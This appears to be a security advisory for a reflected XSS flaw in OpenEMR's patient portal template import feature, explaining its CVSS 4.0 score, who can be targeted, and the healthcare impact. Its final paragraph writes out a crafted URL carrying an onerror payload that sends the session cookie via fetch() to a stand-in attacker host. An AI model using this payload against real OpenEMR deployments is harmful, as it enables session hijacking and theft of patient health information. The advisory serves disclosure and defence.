OpenEMR EUVD-2026-62504

The victim must be currently authenticated to OpenEMR with Forms Administration permissions - ordinary portal patients and lower-privileged staff cannot serve as viable targets. Active user interaction is required: the victim must follow a crafted URL, making social engineering (phishing, watering hole, or embedded link in a trusted communication) a mandatory precondition. The attacker requires no authentication or account of their own (PR:N). The vulnerability is present in any OpenEMR instance prior to 8.3.0 where the patient portal template import feature is accessible - no non-default configuration is required to be vulnerable. The attack is limited to contexts where a Forms Administrator can be induced to click an external or attacker-controlled link.

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N correctly characterizes the attack profile: the attacker requires no authentication (PR:N), the network vector is unrestricted (AV:N), but active user interaction is mandatory (UI:A) - the victim must follow a crafted link. Impact is scoped entirely to the subsequent system (browser/session: SC:L/SI:L), with no direct impact on the OpenEMR server itself. The critical real-world limiting factor is that the victim must hold Forms Administration permissions, narrowing viable targets to privileged administrative accounts rather than arbitrary portal users. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. No CISA KEV listing is present, and no public exploit code is identified at time of analysis. Despite the moderate CVSS score, healthcare-context consequences are elevated: session hijacking of a Forms Administrator could expose protected health information (PHI) or enable insertion of malicious templates affecting patient-facing portal content, making this a higher-priority fix in regulated environments than the raw score implies.

An attacker identifies a Forms Administrator account in a target OpenEMR deployment and delivers a phishing message containing a crafted URL to portal/import_template.php?templateHtml=<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. When the administrator clicks the link while authenticated, the payload executes in their browser and exfiltrates the session cookie to the attacker's server. The attacker replays the session token to impersonate the Forms Administrator, gaining access to patient portal template management and potentially to sensitive PHI. No public exploit code is identified at time of analysis, though the vulnerability is straightforward to exploit by anyone with knowledge of the endpoint.